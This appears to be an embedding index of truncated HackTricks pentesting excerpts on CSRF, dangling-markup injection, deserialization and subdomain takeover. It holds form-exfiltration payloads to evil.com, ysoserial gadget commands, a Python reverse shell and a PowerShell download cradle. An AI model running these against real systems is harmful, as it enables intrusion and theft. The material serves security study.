[ 0.30945631861686707, -0.21656428277492523, 0.003494408680126071, 0.5367373824119568, -0.5325722694396973, 0.03900489583611488, -0.6753122806549072, 0.2247454971075058, 0.14411965012550354, 0.8343331217765808, 0.22034403681755066, -0.28804072737693787, 0.09176318347454071, 0.052552562206983...
[ 1026, 7953, 2828, 1027, 1000, 3793, 1000, 2171, 1027, 1000, 5310, 18442, 1000, 3643, 1027, 1000, 1062, 1000, 1028, 1026, 7953, 2828, 1027, 1000, 4638, 8758, 1000, 2171, 1027, 1000, 3570, 1000, 7039, 1027, 1000, 1000, 1028, 1026, 7953, 890...
hack_tricks
152.txt
10
; socket. emit ('join ', { room : username } ) ; socket. emit ('my _ room _ event ', { data : '! flag ', room : username } ) } ) ; < / script > csrf login brute forcethe code can be used to brut force a login form using a csrf token ( it's also using the header x - forwarded - for to try to bypass a possible ip blackli...
[ 0.26746663451194763, -0.3898632228374481, -0.41646629571914673, 0.4485733211040497, 0.10311810672283173, -0.7917567491531372, -0.388586163520813, 0.42651674151420593, 0.2802731990814209, 0.5499271154403687, 0.45799192786216736, 0.44586697220802307, 0.28480035066604614, -0.17320488393306732...
[ 1025, 22278, 1012, 12495, 2102, 1006, 1005, 3693, 1005, 1010, 1063, 2282, 1024, 5310, 18442, 1065, 1007, 1025, 22278, 1012, 12495, 2102, 1006, 1005, 2026, 1035, 2282, 1035, 2724, 1005, 1010, 1063, 2951, 1024, 1005, 999, 5210, 1005, 1010, ...
hack_tricks
152.txt
11
##in ( user, line. strip ( ) ) toolshttps : / / github. com / 0xinfection / xsrfprobehttps : / / github. com / merttasci / csrf - poc - generator [SEP]
[ -0.07059779763221741, -0.24316392838954926, 0.5095366835594177, 0.13560885190963745, -0.3151075839996338, -1.3643018007278442, -0.2731277644634247, -0.07905055582523346, 0.48912158608436584, 1.193430781364441, 0.5570814609527588, -0.31765538454055786, 0.3571004867553711, -0.094534680247306...
[ 2378, 1006, 5310, 1010, 2240, 1012, 6167, 1006, 1007, 1007, 5906, 11039, 25856, 2015, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 1014, 20303, 25969, 3258, 1013, 1060, 21338, 22540, 3217, 4783, 11039, 25856, 2015, 1024, 1013, 10...
hack_tricks
152.txt
12
[CLS] dangling markup - html scriptless injectionresumethis technique can be use to extract information from a user when an html injection is found. this is very useful if you don't find any way to exploit a xss but you can inject some html tags. it is also useful if some secret is saved in clear text in the html and y...
[ -0.17943739891052246, -0.3509163558483124, -0.2875848114490509, 0.3235875368118286, -0.7774398922920227, -0.38069602847099304, -0.10352972894906998, -0.08144114911556244, 0.5961480140686035, 1.2044986486434937, 0.48347073793411255, 0.5265215635299683, 0.33311253786087036, -0.01763802580535...
[ 101, 18737, 2928, 6279, 1011, 16129, 5896, 3238, 13341, 6072, 17897, 15222, 2015, 6028, 2064, 2022, 2224, 2000, 14817, 2592, 2013, 1037, 5310, 2043, 2019, 16129, 13341, 2003, 2179, 1012, 2023, 2003, 2200, 6179, 2065, 2017, 2123, 1005, 1056,...
hack_tricks
153.txt
0
) : < base target ='< - - - injectedsteal me'< b > test < / b > stealing forms < base href ='http : / / evil. com /'> then, the forms that send data to path ( like < form action ='update _ profile. php'> ) will send the data to the malicious domain. stealing forms 2set a form header : < form action ='http : / / evil. c...
[ 0.3016321659088135, -0.07829513400793076, -0.3589678108692169, 0.6370388269424438, -0.28826385736465454, -0.12905950844287872, -0.4462328553199768, 0.40077826380729675, 0.3846752345561981, 0.3817179501056671, 0.20728527009487152, 0.738045871257782, 0.13235005736351013, -0.13409598171710968...
[ 1007, 1024, 1026, 2918, 4539, 1027, 1005, 1026, 1011, 1011, 1011, 19737, 13473, 2389, 2033, 1005, 1026, 1038, 1028, 3231, 1026, 1013, 1038, 1028, 11065, 3596, 1026, 2918, 17850, 12879, 1027, 1005, 8299, 1024, 1013, 1013, 4763, 1012, 4012, ...
hack_tricks
153.txt
1
be interpreted if the browser doesn't support javascript ( you can enable / disable javascript in chrome in chrome : / / settings / content / javascript ). a way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this : < noscript > < for...
[ 0.07793498039245605, -0.04128936678171158, 0.029159801080822945, 0.47837260365486145, -0.5303199291229248, -0.3453013002872467, -0.4859284460544586, 0.0015159511240199208, 0.4580797553062439, 1.215509295463562, 0.02172248065471649, 0.3345887362957001, 0.2713306248188019, -0.566051304340362...
[ 2022, 10009, 2065, 1996, 16602, 2987, 1005, 1056, 2490, 9262, 22483, 1006, 2017, 2064, 9585, 1013, 4487, 19150, 9262, 22483, 1999, 18546, 1999, 18546, 1024, 1013, 1013, 10906, 1013, 4180, 1013, 9262, 22483, 1007, 1012, 1037, 2126, 2000, 465...
hack_tricks
153.txt
2
. request. share _ with = document. getelementbyid ('share _ with'). value ;... } misleading script workflow 2 - script namespace attackcreate variables inside javascript namespace by inserting html tags. then, this variable will affect the flow of the application : < img id ='is _ public'> ← injected markup... / / leg...
[ 0.441559761762619, -0.44779378175735474, 0.0117311030626297, 0.6672666668891907, -0.09850405156612396, 0.22315359115600586, -0.7138049602508545, -0.17459635436534882, 0.5409433841705322, 0.4815943241119385, 0.21509456634521484, 0.15574079751968384, 0.032681748270988464, -0.2679454684257507...
[ 1012, 5227, 1012, 3745, 1035, 2007, 1027, 6254, 1012, 2131, 12260, 3672, 3762, 3593, 1006, 1005, 3745, 1035, 2007, 1005, 1007, 1012, 3643, 1025, 1012, 1012, 1012, 1065, 22369, 5896, 2147, 12314, 1016, 1011, 5896, 3415, 15327, 2886, 16748, ...
hack_tricks
153.txt
3
iframe and leak it. < script > function cspbypass ( win ) { win [ 0 ]. location ='about : blank'; settimeout ( ( ) = > alert ( win [ 0 ]. name ), 500 ) ; } < / script > < iframe src = " / / subdomain1. portswigger - labs. net / bypassing - csp - with - dangling - iframes / target. php? email = % 22 > < iframe name = % ...
[ 0.03606181591749191, -0.2755519151687622, 0.028939083218574524, 0.6525620818138123, 0.05876170098781586, -0.00873586069792509, -0.47893524169921875, 0.05105581879615784, 0.5019251704216003, 0.810017466545105, -0.3045816123485565, 0.26760295033454895, 0.6807916164398193, -0.6840367317199707...
[ 2065, 6444, 2063, 1998, 17271, 2009, 1012, 1026, 5896, 1028, 3853, 20116, 2361, 3762, 15194, 1006, 2663, 1007, 1063, 2663, 1031, 1014, 1033, 1012, 3295, 1027, 1005, 2055, 1024, 8744, 1005, 1025, 2275, 7292, 5833, 1006, 1006, 1007, 1027, 1...
hack_tricks
153.txt
4
images. xs - search / xs - leaksbrute - force detection listauto _ wordlists / dangling _ markup. txt at main · carlospolop / auto _ wordlistsgithub [SEP]
[ -0.536030113697052, -0.6173405647277832, 1.0131534337997437, 1.1297821998596191, -0.419759601354599, -0.4865856468677521, 0.28211352229118347, -0.30950480699539185, 0.3516242504119873, 0.8923251032829285, 0.45182546973228455, 0.353029727935791, 0.4410490393638611, -0.5832524299621582, -0...
[ 4871, 1012, 1060, 2015, 1011, 3945, 1013, 1060, 2015, 1011, 29324, 19892, 10421, 1011, 2486, 10788, 2862, 4887, 3406, 1035, 2773, 27103, 1013, 18737, 1035, 2928, 6279, 1012, 19067, 2102, 2012, 2364, 1087, 5828, 18155, 7361, 1013, 8285, 1035...
hack_tricks
153.txt
5
[CLS] dependency confusionbasic informationin summary, a dependency confusion vulnerability occurs when a project is using a library with a misspelled name, inexistent or with an unspecified version and the used dependency repository allows to gather updated versions from public repositories. misspelled : import reqest...
[ 0.23510292172431946, 0.07626695930957794, -0.7662743330001831, 0.09761680662631989, -0.883090615272522, 0.19370803236961365, 0.03364453464746475, -0.12986472249031067, 0.29153773188591003, 0.7575823068618774, 0.6454029083251953, -0.7427886724472046, 0.6515886187553406, -0.5121771097183228,...
[ 101, 24394, 6724, 22083, 2594, 2592, 2378, 12654, 1010, 1037, 24394, 6724, 18130, 5158, 2043, 1037, 2622, 2003, 2478, 1037, 3075, 2007, 1037, 3335, 11880, 3709, 2171, 1010, 1999, 10288, 27870, 3372, 2030, 2007, 2019, 25851, 2544, 1998, 1996...
hack_tricks
154.txt
0
[CLS] deserializationserialization is the process of turning some object into a data format that can be restored later. people often serialize objects in order to save them to storage, or to send as part of communications. deserialization is the reverse of that process, taking data structured from some format, and rebu...
[ -0.7214879393577576, -0.19490991532802582, -0.360085129737854, 0.3342522382736206, -0.03250240534543991, -0.8528463840484619, -0.48601439595222473, -0.10243570804595947, 0.8109623193740845, 1.3880947828292847, 0.42191994190216064, -0.6206072568893433, 0.3231555223464966, -0.227937981486320...
[ 101, 4078, 11610, 22731, 8043, 4818, 3989, 2003, 1996, 2832, 1997, 3810, 2070, 4874, 2046, 1037, 2951, 4289, 2008, 2064, 2022, 5854, 2101, 1012, 2111, 2411, 7642, 4697, 5200, 1999, 2344, 2000, 3828, 2068, 2000, 5527, 1010, 2030, 2000, 460...
hack_tricks
155.txt
0
> $ ser = serialize ( $ o ) ; _ _ sleep method calledphp > echo $ ser ; o : 4 : " test " : 1 : { s : 1 : " s " ; s : 14 : " this is a test " ; } php > $ unser = unserialize ( $ ser ) ; _ _ wakeup method called _ _ destruct method calledphp > $ unser - > displaystring ( ) ; this is a test < br / > * /? > if you look to ...
[ 0.18429338932037354, 0.18852582573890686, -0.13120900094509125, 0.4590744078159332, 0.18995247781276703, -0.26619404554367065, -0.08133895695209503, 0.1925497204065323, 0.24843306839466095, 0.7385296821594238, 0.44544628262519836, 0.23368096351623535, 0.5271992683410645, 0.1248499825596809...
[ 1028, 1002, 14262, 1027, 7642, 4697, 1006, 1002, 1051, 1007, 1025, 1035, 1035, 3637, 4118, 2170, 8458, 2361, 1028, 9052, 1002, 14262, 1025, 1051, 1024, 1018, 1024, 1000, 3231, 1000, 1024, 1015, 1024, 1063, 1055, 1024, 1015, 1024, 1000, 10...
hack_tricks
155.txt
1
extensions. so, if you can, check the phpinfo ( ) of the server and search on the internet ( an even on the gadgets of phpgcc ) some possible gadget you could abuse. phar : / / metadata deserializationif you have found a lfi that is just reading the file and not executing the php code inside of it, for example using fu...
[ -0.01740693859755993, -0.1793656051158905, -0.37997645139694214, 0.8227181434631348, -0.4391118884086609, 0.01815154030919075, -0.39365333318710327, 0.3538637161254883, 0.49951446056365967, 1.0503947734832764, 1.1157935857772827, 0.25862494111061096, 0.26932889223098755, -0.198116376996040...
[ 14305, 1012, 2061, 1010, 2065, 2017, 2064, 1010, 4638, 1996, 25718, 2378, 14876, 1006, 1007, 1997, 1996, 8241, 1998, 3945, 2006, 1996, 4274, 1006, 2019, 2130, 2006, 1996, 11721, 28682, 1997, 25718, 18195, 2278, 1007, 2070, 2825, 11721, 2429...
hack_tricks
155.txt
2
function, it will be executed just because it's returned by another promise. follow this link for more info. / / if you can compromise p ( returned object ) to be a promise / / it will be executed just because it's the return object of an async function : async function test _ resolve ( ) { const p = new promise ( reso...
[ -0.12220201641321182, -0.16009657084941864, -0.7085561752319336, 0.4151248633861542, -0.2985081374645233, 0.22840330004692078, -0.45483145117759705, 0.32235273718833923, 0.7221255302429199, 0.9123213291168213, 0.759364902973175, -0.010099842213094234, 0.3729023337364197, -0.455180138349533...
[ 3853, 1010, 2009, 2097, 2022, 6472, 2074, 2138, 2009, 1005, 1055, 2513, 2011, 2178, 4872, 1012, 3582, 2023, 4957, 2005, 2062, 18558, 1012, 1013, 1013, 2065, 2017, 2064, 12014, 1052, 1006, 2513, 4874, 1007, 2000, 2022, 1037, 4872, 1013, 10...
hack_tricks
155.txt
3
' s highly unlikable. anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized. in the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code : var serialize =...
[ -0.45904675126075745, -0.48227715492248535, -0.7429105639457703, 0.4958946704864502, -0.2524586021900177, -0.1997656226158142, -0.30152031779289246, 0.08448290824890137, 0.6303538084030151, 1.2741594314575195, 0.25320133566856384, -0.30479609966278076, 0.18109484016895294, -0.4822672903537...
[ 1005, 1055, 3811, 4895, 25421, 3468, 1012, 4312, 1010, 2017, 2071, 2074, 19933, 1996, 7642, 5084, 4874, 5815, 2070, 6687, 24124, 1999, 2344, 2000, 8285, 15389, 1996, 27289, 3853, 2043, 1996, 4874, 2003, 4078, 11610, 28931, 1012, 1999, 1996,...
hack_tricks
155.txt
4
:'function ( ) { return " hello world! " }'} / / deserialization with auto - executionvar desertest1 = { _ _ js _ function :'function ( ) { return " hello world! " } ( )'} funcster. deepdeserialize ( desertest1 ) var desertest2 = { _ _ js _ function :'this. constructor. constructor ( " console. log ( 1111 ) " ) ( )'} f...
[ 0.4365658462047577, -0.0035123678389936686, -0.1667163074016571, 0.43664613366127014, -0.41953030228614807, 0.2609420418739319, -0.636792778968811, 0.2867265045642853, 0.24633556604385376, 0.706135630607605, 0.7932121753692627, -0.06882231682538986, 0.37846851348876953, -0.0579120442271232...
[ 1024, 1005, 3853, 1006, 1007, 1063, 2709, 1000, 7592, 2088, 999, 1000, 1065, 1005, 1065, 1013, 1013, 4078, 11610, 22731, 2007, 8285, 1011, 7781, 10755, 5532, 4355, 2487, 1027, 1063, 1035, 1035, 1046, 2015, 1035, 3853, 1024, 1005, 3853, 10...
hack_tricks
155.txt
5
deserialized objects in java is that deserialization callbacks were invoked during deserialization. this makes possible for an attacker to take advantage of that callbacks and prepare a payload that abuses the callbacks to perform malicious actions. fingerprintswhite boxsearch inside the code for serialization classes ...
[ -0.4523327350616455, -0.1340499371290207, -0.8345197439193726, 0.6199459433555603, -0.5180420875549316, -0.07021985203027725, -0.4663045108318329, 0.014569742605090141, 0.6765542030334473, 0.6751346588134766, 0.6448149085044861, 0.23293255269527435, 0.11077630519866943, -0.3394125699996948...
[ 4078, 11610, 28931, 5200, 1999, 9262, 2003, 2008, 4078, 11610, 22731, 2655, 12221, 2020, 24959, 2076, 4078, 11610, 22731, 1012, 2023, 3084, 2825, 2005, 2019, 17346, 2000, 2202, 5056, 1997, 2008, 2655, 12221, 1998, 7374, 1037, 18093, 2008, 2...
hack_tricks
155.txt
6
. when running gadgetinspector ( after building it ) don't care about the tons of warnings / errors that it's going through and let it finish. it will write all the findings under gadgetinspector / gadget - results / gadget - chains - year - month - day - hore - min. txt. please, notice that gadgetinspector won't creat...
[ 0.10368426889181137, 0.21511046588420868, -0.7008988857269287, 0.3580414652824402, -0.6901822686195374, 0.2527219355106354, -0.27634570002555847, 0.2880086600780487, 0.8218597173690796, 1.0512202978134155, 0.07493317872285843, -0.2424371838569641, 0.624618411064148, -0.7937754988670349, ...
[ 1012, 2043, 2770, 11721, 24291, 7076, 5051, 16761, 1006, 2044, 2311, 2009, 1007, 2123, 1005, 1056, 2729, 2055, 1996, 6197, 1997, 16234, 1013, 10697, 2008, 2009, 1005, 1055, 2183, 2083, 1998, 2292, 2009, 3926, 1012, 2009, 2097, 4339, 2035, ...
hack_tricks
155.txt
7
" payload is not working but other rce payload is. # poc to make the application perform a dns reqjava - jar ysoserial - master - snapshot. jar urldns url > payload # poc rce in windows # pingjava - jar ysoserial - master - snapshot. jar commonscollections5'cmd / c ping - n 5 127. 0. 0. 1'> payload # time, i noticed th...
[ 0.35207971930503845, -0.16207605600357056, -0.519262969493866, 0.8933952450752258, 0.22927209734916687, 0.22661997377872467, -0.2808593511581421, 0.20952247083187103, 0.7180135846138, 0.17486447095870972, 0.1493033766746521, 0.22625844180583954, 0.686161458492279, -0.8959490060806274, -0...
[ 1000, 18093, 2003, 2025, 2551, 2021, 2060, 22110, 2063, 18093, 2003, 1012, 1001, 13433, 2278, 2000, 2191, 1996, 4646, 4685, 1037, 1040, 3619, 2128, 4160, 3900, 3567, 1011, 15723, 1061, 17063, 11610, 2140, 1011, 3040, 1011, 20057, 12326, 101...
hack_tricks
155.txt
8
ysoserial - master - snapshot. jar commonscollections4 " powershell. exe - noni - w hidden - nop - exec bypass - enc [UNK] " # poc rce in linux # pingjava - jar ysoserial - master - snapshot. jar commonscollections4 " ping - c 5 192. 168. 1. 4 " > payload # time # # using time in bash i didn't notice any difference in ...
[ 0.3640114367008209, 0.13821354508399963, -0.6242231726646423, 0.5059139132499695, -0.4101369380950928, -0.1371581256389618, -0.4453545808792114, 0.4243398904800415, 0.5469277501106262, 0.7777959108352661, -0.1902746558189392, 0.0242728590965271, 0.45526716113090515, -0.3380681872367859, ...
[ 1061, 17063, 11610, 2140, 1011, 3040, 1011, 20057, 12326, 1012, 15723, 7674, 26895, 18491, 2015, 2549, 1000, 4204, 18223, 1012, 4654, 2063, 1011, 2512, 2072, 1011, 1059, 5023, 1011, 2053, 2361, 1011, 4654, 8586, 11826, 1011, 4372, 2278, 100...
hack_tricks
155.txt
9
c'import sys, socket, os, pty ; s = socket. socket ( ) ; s. connect ( ( os. getenv ( " rhost " ), int ( os. getenv ( " rport " ) ) ) ) ; [ os. dup2 ( s. fileno ( ), fd ) for fd in ( 0, 1, 2 ) ] ; pty. spawn ( " / bin / sh " )'java - jar ysoserial - master - snapshot. jar commonscollections4 " bash - c { echo, [UNK] = }...
[ 0.15767782926559448, -0.0747697576880455, -0.34970369935035706, 1.0970097780227661, -0.32423290610313416, -0.060201920568943024, -0.2695334553718567, -0.1298023909330368, 0.16690172255039215, 0.5112325549125671, 0.11200834065675735, 0.5210062861442566, 0.4718647003173828, 0.004138262011110...
[ 1039, 1005, 12324, 25353, 2015, 1010, 22278, 1010, 9808, 1010, 13866, 2100, 1025, 1055, 1027, 22278, 1012, 22278, 1006, 1007, 1025, 1055, 1012, 7532, 1006, 1006, 9808, 1012, 2131, 2368, 2615, 1006, 1000, 1054, 15006, 2102, 1000, 1007, 1010,...
hack_tricks
155.txt
10
name, cmd ) : for payload in payloads : final = cmd. replace ('replace ', payload ) print'generating'+ payload +'for'+ name + '...'command = os. popen ('java - jar ysoserial. jar'+ payload +'"'+ final +'"') result = command. read ( ) command. close ( ) encoded = base64. b64encode ( result ) if encoded! = " " : open ( n...
[ 0.4153231084346771, -0.5890977382659912, -0.4896235167980194, 1.159111499786377, -0.6072118282318115, -0.15042302012443542, -0.9919186234474182, 0.06322697550058365, 0.7496652007102966, 0.5576160550117493, 0.18819886445999146, 0.2581087648868561, 0.013796785846352577, -0.4224933087825775, ...
[ 2171, 1010, 4642, 2094, 1007, 1024, 2005, 18093, 1999, 18093, 2015, 1024, 2345, 1027, 4642, 2094, 1012, 5672, 1006, 1005, 5672, 1005, 1010, 18093, 1007, 6140, 1005, 11717, 1005, 1009, 18093, 1009, 1005, 2005, 1005, 1009, 2171, 1009, 1005, ...
hack_tricks
155.txt
11
##erial payloads you can run this webapp : urls : / / github. com / hvqzao / java - deserialize - webappurls : / / diablohorn. com / 2017 / 09 / 09 / understanding - practicing - java - deserialization - exploits / whyjava loves sending serialized objects all over the place. for example : in http requests – parameters,...
[ -0.019904490560293198, -0.23716063797473907, -0.8405147790908813, 0.2756896913051605, -0.22750592231750488, 0.28452709317207336, -0.31838279962539673, -0.3118799328804016, 0.5229813456535339, 0.9518916010856628, 0.025974715128540993, -0.09725256264209747, 1.012027621269226, -0.572244584560...
[ 11610, 2140, 18093, 2015, 2017, 2064, 2448, 2023, 4773, 29098, 1024, 24471, 4877, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 1044, 2615, 4160, 4143, 2080, 1013, 9262, 1011, 4078, 11610, 3669, 4371, 1011, 4773, 29098, 3126, 4877...
hack_tricks
155.txt
12
##erialize any other type besides the bicycle class : public class lookaheadobjectinputstream extends objectinputstream { public lookaheadobjectinputstream ( inputstream inputstream ) throws ioexception { super ( inputstream ) ; } / * * * only deserialize instances of our expected bicycle class * / @ override protected...
[ -0.19713635742664337, -0.6622735857963562, 0.536953866481781, 0.2825469672679901, -0.1686108410358429, 0.04647276923060417, -0.6264784932136536, -0.04046068713068962, 0.053113218396902084, 0.44514524936676025, 0.18916933238506317, -0.3909444510936737, 0.5506805181503296, -0.367229402065277...
[ 11610, 3669, 4371, 2151, 2060, 2828, 4661, 1996, 10165, 2465, 1024, 2270, 2465, 2298, 4430, 13775, 16429, 20614, 2378, 18780, 21422, 8908, 4874, 2378, 18780, 21422, 1063, 2270, 2298, 4430, 13775, 16429, 20614, 2378, 18780, 21422, 1006, 20407,...
hack_tricks
155.txt
13
##sec. pdf? raw = trueurls : / / dzone. com / articles / why - runtime - compartmentalization - is - the - most - comprurls : / / deadcode. me / blog / 2016 / 09 / 02 / blind - java - deserialization - commons - gadgets. htmlurls : / / deadcode. me / blog / 2016 / 09 / 18 / blind - java - deserialization - part - ii. h...
[ 0.3025042712688446, -0.3921608030796051, -0.3033386170864105, 0.20767264068126678, -0.11897964030504227, -0.38697317242622375, -0.4105313718318939, 0.15765883028507233, 0.638640820980072, 1.172789216041565, -0.052032288163900375, -0.38193902373313904, 0.7341071367263794, -0.407216429710388...
[ 3366, 2278, 1012, 11135, 1029, 6315, 1027, 2995, 3126, 4877, 1024, 1013, 1013, 1040, 15975, 1012, 4012, 1013, 4790, 1013, 2339, 1011, 2448, 7292, 1011, 15273, 11475, 9276, 1011, 2003, 1011, 1996, 1011, 2087, 1011, 4012, 18098, 3126, 4877, ...
hack_tricks
155.txt
14
that will be deserialized by the consumer / subscriber. this means that in this exploitation all the clients that are going to use that message will get infected. you should remember that even if a service is vulnerable ( because it's insecurely deserializing user input ) you still need to find valid gadgets to exploit...
[ 0.10845775157213211, -0.19528168439865112, -0.8058109879493713, 0.8918522000312805, -0.03093820810317993, 0.4393227994441986, -0.7037336826324463, 0.20486454665660858, 0.9264706969261169, 0.9733777046203613, 0.3753843903541565, -0.4918317198753357, 1.0117250680923462, -0.3308943510055542, ...
[ 2008, 2097, 2022, 4078, 11610, 28931, 2011, 1996, 7325, 1013, 4942, 29234, 2099, 1012, 2023, 2965, 2008, 1999, 2023, 14427, 2035, 1996, 7846, 2008, 2024, 2183, 2000, 2224, 2008, 4471, 2097, 2131, 10372, 1012, 2017, 2323, 3342, 2008, 2130, ...
hack_tricks
155.txt
15
formatter, used to indicated the method to serialized the exploit ( you need to know which library is using the back - end to deserialize the payload and use the same to serialize it ) * * - - output * * used to indicate if you want the exploit in raw or base64 encoded. note that ysoserial. net will encode the payload ...
[ -0.011134645901620388, 0.047330040484666824, -0.6143272519111633, 1.032697319984436, -0.762670636177063, -0.14583218097686768, -0.6432708501815796, 0.13523028790950775, 0.4941490590572357, 0.45108917355537415, 0.20524509251117706, -0.43108272552490234, 0.46974650025367737, -0.8350520730018...
[ 4289, 3334, 1010, 2109, 2000, 5393, 1996, 4118, 2000, 27289, 1996, 18077, 1006, 2017, 2342, 2000, 2113, 2029, 3075, 2003, 2478, 1996, 2067, 1011, 2203, 2000, 4078, 11610, 3669, 4371, 1996, 18093, 1998, 2224, 1996, 2168, 2000, 7642, 4697, ...
hack_tricks
155.txt
16
iex ( new - object net. webclient ). downloadstring ('url : / / 10. 10. 14. 44 / shell. ps1') " | iconv - t utf - 16le | base64 - w0 # create exploit using the created b64 shellcodeysoserial. exe - g objectdataprovider - f json. net - c " powershell - encodedcommand [UNK] = " - o base64ysoserial. net has also a very in...
[ -0.013424786739051342, 0.034049540758132935, -0.10493919253349304, 0.23640340566635132, -0.5098146796226501, 0.04784418269991875, -0.3125874400138855, 0.25711673498153687, 0.970746636390686, 0.83562171459198, 0.40854740142822266, -0.7044718861579895, 0.6903642416000366, -0.332499623298645,...
[ 29464, 2595, 1006, 2047, 1011, 4874, 5658, 1012, 4773, 20464, 11638, 1007, 1012, 22956, 18886, 3070, 1006, 1005, 24471, 2140, 1024, 1013, 1013, 2184, 1012, 2184, 1012, 2403, 1012, 4008, 1013, 5806, 1012, 8827, 2487, 1005, 1007, 1000, 1064, ...
hack_tricks
155.txt
17
typenamehandling is only set to none. typenamehandling = typenamehandling. noneif javascriptserializer is to be used then don't use it with a javascripttyperesolver. if you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. one should be aware that thi...
[ -0.36073827743530273, -0.612220287322998, -0.36022961139678955, 0.39573997259140015, -0.2186093032360077, 0.2957598567008972, 0.18402332067489624, 0.3450219929218292, 0.49769845604896545, 0.8200408816337585, 0.6495686769485474, -0.7991710901260376, 0.5025858879089355, -0.41418758034706116,...
[ 2828, 18442, 11774, 2989, 2003, 2069, 2275, 2000, 3904, 1012, 2828, 18442, 11774, 2989, 1027, 2828, 18442, 11774, 2989, 1012, 3904, 10128, 9262, 22483, 8043, 4818, 17629, 2003, 2000, 2022, 2109, 2059, 2079, 2025, 2224, 2009, 2007, 1037, 926...
hack_tricks
155.txt
18
has internet connectivity. as an example system. windows. data. objectdataprovider used in wpf applications is a known gadget that allows arbitrary method invocation. it would be risky to have this a reference to this assembly in a rest service project that deserializes untrusted data. [SEP]
[ -0.5080485343933105, -0.5033338665962219, 0.05096336454153061, -0.025090748444199562, -0.23584330081939697, -0.17697003483772278, -0.2980301082134247, -0.22846680879592896, 0.47561115026474, 1.1137168407440186, 0.12687858939170837, -0.4881693720817566, 0.8873054385185242, -0.19345356523990...
[ 2038, 4274, 20831, 1012, 2004, 2019, 2742, 2291, 1012, 3645, 1012, 2951, 1012, 4874, 2850, 2696, 21572, 17258, 2121, 2109, 1999, 1059, 14376, 5097, 2003, 1037, 2124, 11721, 24291, 2008, 4473, 15275, 4118, 1999, 19152, 1012, 2009, 2052, 2022...
hack_tricks
155.txt
19
[CLS] domain / subdomain takeover use trickest to easily build and automate workflows powered by the world's most advanced community tools. domain takeoverif you discover some domain ( domain. tld ) that is being used by some service inside the scope but the company has lost the ownership of it, you can try to register...
[ 0.33734795451164246, -0.23160475492477417, -0.2868010699748993, 0.668254554271698, 0.038946233689785004, -0.23407042026519775, -0.1914529949426651, 0.33593127131462097, 0.7334229946136475, 0.691421389579773, 0.40455886721611023, -0.3557678163051605, 0.7003504633903503, 0.018469171598553658...
[ 101, 5884, 1013, 4942, 9527, 8113, 15336, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 5884, 15336, 10128, 2017, 7523, 2070, 5884, 1006, 5884, 1...
hack_tricks
156.txt
0
, a cname... for example, if *. testing. com is wilcarded to 1. 1. 1. 1. then, not - existent. testing. com will be pointing to 1. 1. 1. 1. however, if instead of pointing to an ip address, the sysadmin point it to a third party service via cname, like a github subdomain for example ( sohomdatta1. github. io ). an atta...
[ 0.4436022639274597, -0.27384939789772034, -0.43358054757118225, 0.5215036273002625, -0.24995310604572296, -0.26554298400878906, -0.518475353717804, -0.004294996615499258, 0.7997379899024963, 0.6297059655189514, 0.24601158499717712, -0.19472132623195648, 0.41940879821777344, -0.090085744857...
[ 1010, 1037, 27166, 14074, 1012, 1012, 1012, 2005, 2742, 1010, 2065, 1008, 1012, 5604, 1012, 4012, 2003, 19863, 11522, 2098, 2000, 1015, 1012, 1015, 1012, 1015, 1012, 1015, 1012, 2059, 1010, 2025, 1011, 25953, 1012, 5604, 1012, 4012, 2097, ...
hack_tricks
156.txt
1
makes a perfect scenario for phishing. attackers are often using typosquatting or so - called doppelganger domains to mimic the legitimate domain / website for phishing purposes. after an attacker takes over some legitimate domain name, it is almost impossible for a regular user to tell whether the content on the domai...
[ 0.5047811269760132, 0.06989563256502151, -0.09190794080495834, 0.5334545969963074, -0.6265878081321716, -0.18014387786388397, 0.32828009128570557, 0.47876185178756714, 0.7231544256210327, 0.7672540545463562, 0.5645807981491089, -0.011127158999443054, 0.16974492371082306, 0.2213400304317474...
[ 3084, 1037, 3819, 11967, 2005, 13569, 12227, 1012, 17857, 2024, 2411, 2478, 5939, 6873, 2015, 16211, 13027, 2030, 2061, 1011, 2170, 2079, 27877, 24930, 2121, 13100, 2000, 23150, 1996, 11476, 5884, 1013, 4037, 2005, 13569, 12227, 5682, 1012, ...
hack_tricks
156.txt
2
s encrypt will approve the issuance of a certificate for a given domain. since an attacker has full control over the content of the domain which is vulnerable to subdomain takeover, this verification can be done in a matter of minutes. therefore attackers are also able to generate ssl certificate for such domain which ...
[ 0.12642095983028412, -0.4829499423503876, -0.02184230647981167, 0.3713158965110779, -0.6746383905410767, -0.4805595874786377, 0.03774847835302353, 0.04188969358801842, 0.39292141795158386, 0.816142201423645, 0.4813445210456848, -0.4098915755748749, 0.40243375301361084, -0.07540973275899887...
[ 1055, 4372, 26775, 22571, 2102, 2097, 14300, 1996, 26354, 26620, 1997, 1037, 8196, 2005, 1037, 2445, 5884, 1012, 2144, 2019, 17346, 2038, 2440, 2491, 2058, 1996, 4180, 1997, 1996, 5884, 2029, 2003, 8211, 2000, 4942, 9527, 8113, 15336, 1010,...
hack_tricks
156.txt
3
— cookies can by default be accessed by javascript code running in the context of the website which created the cookies. javascript can read, update, and delete the cookies. httponly cookie flag ( set by the web server ) indicates that the particular cookie cannot be accessed by javascript code. the only way to get it ...
[ 0.2937092185020447, -0.3441283702850342, -0.38696205615997314, 0.1782994270324707, -0.6803185343742371, -0.5213682055473328, 0.0176058541983366, 0.1883152723312378, 0.6731927990913391, 0.5737414956092834, 0.3098028004169464, -0.11961828917264938, 0.1798529475927353, -0.1298888921737671, ...
[ 1517, 16324, 2064, 2011, 12398, 2022, 11570, 2011, 9262, 22483, 3642, 2770, 1999, 1996, 6123, 1997, 1996, 4037, 2029, 2580, 1996, 16324, 1012, 9262, 22483, 2064, 3191, 1010, 10651, 1010, 1998, 3972, 12870, 1996, 16324, 1012, 8299, 2239, 213...
hack_tricks
156.txt
4
javascript files in a browser. subresource integrity was proposed as a mechanism to include cryptographic hash as an attribute integrity to script tag in html5. when the provided cryptographic hash does not match the download file, the browser refuses to execute it. e - mailswhen cname subdomain takeover is possible, m...
